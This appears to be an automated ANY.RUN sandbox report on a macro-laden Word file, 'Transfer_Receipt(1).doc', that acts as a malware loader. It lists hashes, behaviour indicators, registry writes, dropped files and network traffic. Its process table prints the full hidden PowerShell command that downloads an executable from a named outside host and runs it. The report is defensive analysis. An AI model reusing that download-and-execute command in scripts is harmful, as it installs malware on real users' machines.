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File name:

Transfer_Receipt(1).doc

Full analysis: https://app.any.run/tasks/fceb1a30-b84e-49fe-bf8e-7b6b246334aa
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: March 15, 2019, 01:53:00
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
loader
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.3, Code page: 1252, Title: o92f1c2, Subject: ed4d8, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Mar 14 11:28:00 2019, Last Saved Time/Date: Thu Mar 14 11:28:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Security: 0
MD5:

3FA939502EA7760E32936E61A19DF5BF

SHA1:

7393A01E8D1FFE6DCE4BD604905A1DAE11C0CD5C

SHA256:

9CAAD8A4C1E9B5A9BD3B8994F711FBA6B407464887C961C0B3E1A61EBA3C6358

SSDEEP:

768:J3yQKhjLl9z/eQ7mUtbr7lRt2PgnMrRaBqUpkmLc:ZydjLl9z/eQ7mUtbrp4trRaFnc

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2844)
    • Executes PowerShell scripts

      • WINWORD.EXE (PID: 2844)
    • Application was dropped or rewritten from another process

      • a4591b.exe (PID: 2464)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 2836)
  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 2836)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2836)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2844)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2844)
    • Dropped object may contain Bitcoin addresses

      • powershell.exe (PID: 2836)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (38.3)
.xls | Microsoft Excel sheet (alternate) (29.3)
.doc | Microsoft Word document (old ver.) (22.7)

EXIF

FlashPix

CompObjUserType: Microsoft Word 97-2003 Document
CompObjUserTypeLen: 32
HeadingPairs:
  • Title
  • 1
TitleOfParts: o92f1c2
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
CharCountWithSpaces: -
Paragraphs: -
Lines: -
Bytes: 11000
CodePage: Windows Latin 1 (Western European)
Security: None
Characters: -
Words: -
Pages: 1
ModifyDate: 2019:03:14 11:28:00
CreateDate: 2019:03:14 11:28:00
TotalEditTime: -
Software: Microsoft Office Word
RevisionNumber: 1
LastModifiedBy: -
Template: Normal.dotm
Comments: -
Keywords: -
Author: -
Subject: ed4d8
Title: o92f1c2
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
33
Monitored processes
3
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs powershell.exe a4591b.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2844"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Downloads\Transfer_Receipt(1).doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2836"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -noprofile $n4d8fd = $env:APPDATA; $x27cd = $n4d8fd + '\\a4591b.exe'; If (test-path $x27cd) {Remove-Item $x27cd}; $h29787 = New-Object System.Net.WebClient; $h29787.Headers['User-Agent'] = 'h29787'; $h29787.DownloadFile('http://mentor.in/good/LED.exe', $x27cd); Start-Process -Filepath $x27cd; C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2464"C:\Users\admin\AppData\Roaming\a4591b.exe" C:\Users\admin\AppData\Roaming\a4591b.exepowershell.exe
User:
admin
Company:
ASSET PORTFOLIO SERVICING ROMANIA SRL
Integrity Level:
MEDIUM
Description:
Outlook Express Backup plugin
Version:
5.7.27.4
Total events
1 691
Read events
1 286
Write events
398
Delete events
7

Modification events

(PID) Process:(2844) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:).$
Value:
292E24001C0B0000010000000000000000000000
(PID) Process:(2844) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2844) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(2844) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1315897374
(PID) Process:(2844) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1315897488
(PID) Process:(2844) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1315897489
(PID) Process:(2844) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
1C0B0000B82130E1D1DAD40100000000
(PID) Process:(2844) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:`0$
Value:
603024001C0B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2844) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:`0$
Value:
603024001C0B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2844) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
1
Suspicious files
2
Text files
2
Unknown types
4

Dropped files

PID
Process
Filename
Type
2844WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR8EA9.tmp.cvr
MD5:
SHA256:
2836powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\X69ITGXZ3WNNEWDGIFLC.temp
MD5:
SHA256:
2844WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:4D69D9BCBFC324E700A5A4D9E4D60348
SHA256:B0222DC047C29341F9E3DBAF99CE9E18787FBE50A3485DADF3E273D21B6B2E9C
2836powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:901ECDF767744E6BB59CB023757886E3
SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1
2836powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF199afe.TMPbinary
MD5:901ECDF767744E6BB59CB023757886E3
SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1
2844WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\Transfer_Receipt(1).doc.LNKlnk
MD5:AE754FAD794F4B1ECD02DB4B91E221C9
SHA256:546FD9E00868A940A3232CFA76DCD43AF130989D5A95EFE5622878EBAEB1CF77
2836powershell.exeC:\Users\admin\AppData\Roaming\a4591b.exeexecutable
MD5:A1FC13A3FBF5B2AC26E457916D6C80A6
SHA256:56FA173ED69C171F3D015DFEBCD0189CAEBA747ED1D207AAB3857DE1EECF4FB1
2844WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:E3862E53BE8A2858687001BF35D81916
SHA256:AFB417849472D232DC34720AB35488D83FF5EEEB43D612033890B07EEAC4CB71
2844WINWORD.EXEC:\Users\admin\Downloads\~$ansfer_Receipt(1).docpgc
MD5:09CD31695055D329220689572959AFF4
SHA256:8620C1CEAA34F5C88D241346AF9085D1195282E61948C7A29CEFE1D237012AAB
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2836
powershell.exe
GET
200
208.86.157.246:80
http://mentor.in/good/LED.exe
US
executable
403 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2836
powershell.exe
208.86.157.246:80
mentor.in
Liquid Web, L.L.C
US
malicious

DNS requests

Domain
IP
Reputation
mentor.in
  • 208.86.157.246
malicious

Threats

PID
Process
Class
Message
2836
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
No debug info